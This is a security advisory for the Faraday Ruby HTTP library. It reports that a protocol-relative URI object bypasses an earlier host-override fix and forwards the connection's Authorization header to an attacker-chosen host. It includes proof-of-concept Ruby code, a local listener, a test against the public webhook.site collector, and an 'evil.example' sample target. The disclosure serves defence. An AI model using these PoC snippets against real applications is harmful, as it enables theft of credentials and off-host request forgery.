GHSA-5rv5-xj5j-3484 — faraday

Summary

Faraday::Connection#build_exclusive_url still allows protocol-relative host override when the request target is provided as a URI object instead of a String. This bypasses the February 2026 fix for GHSA-33mh-2634-fwr2 and can redirect a request built from a fixed-base Faraday::Connection to an attacker-controlled host while preserving connection-scoped headers such as Authorization.

Affected Component

• Repository File(s)/Endpoint(s):
  • lib/faraday/connection.rb
  • lib/faraday/request.rb
  • spec/faraday/connection_spec.rb
  • spec/faraday/request_spec.rb
• Function(s):
  • Faraday::Connection#build_exclusive_url
  • Faraday::Connection#run_request
  • Faraday::Request#url
  • Faraday::Request#to_env
• Version(s) Tested:
  • Faraday 2.14.1
  • repository HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca

Attacker Profile

• Who: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection
• Access Required: Ability to supply data that the application converts to URI.parse(...) and passes to conn.get(...), [conn.post](http://conn.post/)(...), or req.url(...)
• Capability: Control over a protocol-relative URI such as URI("//evil.example/pwn")

Steps to Reproduce

1. Use the current repository checkout and load Faraday from lib/.
2. Build a fixed-base connection and provide a protocol-relative URI object to req.url.
3. Observe that the request is actually sent to the attacker-controlled host instead of the configured base host.
4. Observe that the connection-scoped Authorization header remains attached to the off-host request.

Verification Evidence

• Environment: macOS, Ruby from local environment, Faraday 2.14.1, faraday-net_http, local WEBrick listener on 127.0.0.1:4567, HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca
• Commands executed:

$ ruby -e 'require "webrick"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: "127.0.0.1", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc("/") { |req, res| res.status = 200; res.body = "host=#{req.host}\nauth=#{req["Authorization"]}\npath=#{req.path}\n" }; trap("INT") { server.shutdown }; server.start'
$ ruby -Ilib -e 'require "faraday"; require "faraday/net_http"; conn = Faraday.new(url: "http://trusted.example/base", headers: {"Authorization" => "Bearer secret-token"}) { |f| f.adapter :net_http }; target = ["//127.0.0.1:4567", "/pwn"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body'

• PoC code (inline):

require "faraday"
require "faraday/net_http"

conn = Faraday.new(url: "http://trusted.example/base", headers: {
  "Authorization" => "Bearer secret-token"
}) { |f| f.adapter :net_http }

target = ["//127.0.0.1:4567", "/pwn"].join
resp = conn.get(URI(target))

puts resp.status
puts resp.body

• Exit code: 0
• stdout (relevant excerpt):

200
host=127.0.0.1
auth=Bearer secret-token
path=/pwn

• stderr (relevant excerpt):

N/A

• Artifacts: none

Additional External Confirmation

The issue was also independently reproduced against a public HTTP collector on Faraday 2.14.1 using the default net_http adapter:

require "faraday"
require "faraday/net_http"

conn = Faraday.new(
  url: "http://trusted.example/base",
  headers: { "Authorization" => "Bearer secret-token" }
) { |f| f.adapter :net_http }

target = ["//webhook.site", "/<collector-id>"].join
resp = conn.get(URI(target))
resp.status
# => 200
resp.url.host
# => "webhook.site"

This external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage.

Supporting Materials

• Existing advisory for the original string-based issue: GHSA-33mh-2634-fwr2
• Existing CVE for the original string-based issue: CVE-2026-25765
• Existing regression tests for the string-only fix:
  • spec/faraday/connection_spec.rb:314-345
• Existing test proving supported URI request input:
  • spec/faraday/request_spec.rb:26-31

Impact

The direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the connection carries default headers or query parameters, those values are forwarded to the attacker-selected host.